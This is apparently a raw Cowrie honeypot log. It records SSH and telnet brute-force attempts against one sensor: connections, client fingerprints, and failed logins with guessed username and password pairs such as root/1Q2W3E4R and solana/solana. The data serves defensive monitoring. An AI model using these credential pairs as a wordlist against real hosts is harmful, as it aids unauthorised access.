{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:31.738245Z","src_ip":"159.203.92.129","session":"13c377616212","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:31.749996Z","src_ip":"192.109.200.78","session":"f9eda2fd5935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"PMS","password":"PMS","message":"login attempt [PMS/PMS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:31.758595Z","src_ip":"159.203.92.129","session":"13c377616212","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.94.70.246","src_port":51264,"dst_ip":"159.203.135.109","dst_port":23,"session":"328e0e334f4d","protocol":"telnet","message":"New connection: 119.94.70.246:51264 (159.203.135.109:23) [session: 328e0e334f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:32.573965Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:32.766033Z","src_ip":"159.203.92.129","session":"13c377616212","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:32.956500Z","src_ip":"192.109.200.78","session":"f9eda2fd5935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":39550,"dst_ip":"159.203.135.109","dst_port":22,"session":"383b94aefe2c","protocol":"ssh","message":"New connection: 192.109.200.78:39550 (159.203.135.109:22) [session: 383b94aefe2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:35.684829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:35.689789Z","src_ip":"192.109.200.78","session":"383b94aefe2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:35.776673Z","src_ip":"192.109.200.78","session":"383b94aefe2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:36.026529Z","src_ip":"192.109.200.78","session":"383b94aefe2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38246,"dst_ip":"159.203.135.109","dst_port":22,"session":"9557e80b5e23","protocol":"ssh","message":"New connection: 176.65.139.95:38246 (159.203.135.109:22) [session: 9557e80b5e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:36.487859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:36.492755Z","src_ip":"176.65.139.95","session":"9557e80b5e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:36.581754Z","src_ip":"176.65.139.95","session":"9557e80b5e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:36.964663Z","src_ip":"176.65.139.95","session":"9557e80b5e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:37.114921Z","src_ip":"192.109.200.78","session":"383b94aefe2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:38.055469Z","src_ip":"176.65.139.95","session":"9557e80b5e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.222.147.99","src_port":48787,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ca7dfa235ed","protocol":"telnet","message":"New connection: 129.222.147.99:48787 (10.17.0.5:23) [session: 2ca7dfa235ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:39.316742Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37284,"dst_ip":"159.203.135.109","dst_port":22,"session":"af691f518655","protocol":"ssh","message":"New connection: 192.109.200.78:37284 (159.203.135.109:22) [session: af691f518655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:39.908966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:39.913916Z","src_ip":"192.109.200.78","session":"af691f518655","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:39.996865Z","src_ip":"192.109.200.78","session":"af691f518655","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:40.247491Z","src_ip":"192.109.200.78","session":"af691f518655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00166702270508,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:41.111994Z","src_ip":"212.252.78.49","session":"d7773df41c81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:41.456620Z","src_ip":"192.109.200.78","session":"af691f518655","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0011396408081,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:41.718836Z","src_ip":"212.252.78.49","session":"553f284c6c6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":53122,"dst_ip":"159.203.135.109","dst_port":22,"session":"13318a107d9c","protocol":"ssh","message":"New connection: 80.94.92.168:53122 (159.203.135.109:22) [session: 13318a107d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:42.860890Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59266,"dst_ip":"159.203.135.109","dst_port":22,"session":"e267248b7903","protocol":"ssh","message":"New connection: 176.65.139.95:59266 (159.203.135.109:22) [session: e267248b7903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:42.915667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:43.010139Z","src_ip":"176.65.139.95","session":"e267248b7903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:43.014674Z","src_ip":"176.65.139.95","session":"e267248b7903","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:43.030611Z","src_ip":"80.94.92.168","session":"13318a107d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:43.035438Z","src_ip":"80.94.92.168","session":"13318a107d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:43.641216Z","src_ip":"176.65.139.95","session":"e267248b7903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00200915336609,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:43.867382Z","src_ip":"212.252.78.49","session":"fcc23ce675c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37296,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b9142bef445","protocol":"ssh","message":"New connection: 192.109.200.78:37296 (159.203.135.109:22) [session: 7b9142bef445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:44.137935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:44.142394Z","src_ip":"192.109.200.78","session":"7b9142bef445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:44.228217Z","src_ip":"192.109.200.78","session":"7b9142bef445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:44.485669Z","src_ip":"192.109.200.78","session":"7b9142bef445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:44.756054Z","src_ip":"176.65.139.95","session":"e267248b7903","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:44.788723Z","src_ip":"80.94.92.168","session":"13318a107d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":62738,"dst_ip":"159.203.135.109","dst_port":23,"session":"eed011af6af8","protocol":"telnet","message":"New connection: 212.252.78.49:62738 (159.203.135.109:23) [session: eed011af6af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:45.501145Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:45.570705Z","src_ip":"192.109.200.78","session":"7b9142bef445","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":63746,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfbb2b7a9c32","protocol":"telnet","message":"New connection: 212.252.78.49:63746 (159.203.135.109:23) [session: bfbb2b7a9c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:45.678319Z"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:46.270820Z","src_ip":"80.94.92.168","session":"13318a107d9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":1611,"dst_ip":"159.203.135.109","dst_port":23,"session":"9461701108bf","protocol":"telnet","message":"New connection: 212.252.78.49:1611 (159.203.135.109:23) [session: 9461701108bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:47.943469Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57288,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a782a99784f","protocol":"ssh","message":"New connection: 192.109.200.78:57288 (159.203.135.109:22) [session: 6a782a99784f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:48.216062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:27:48.222817Z","src_ip":"192.109.200.78","session":"6a782a99784f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecd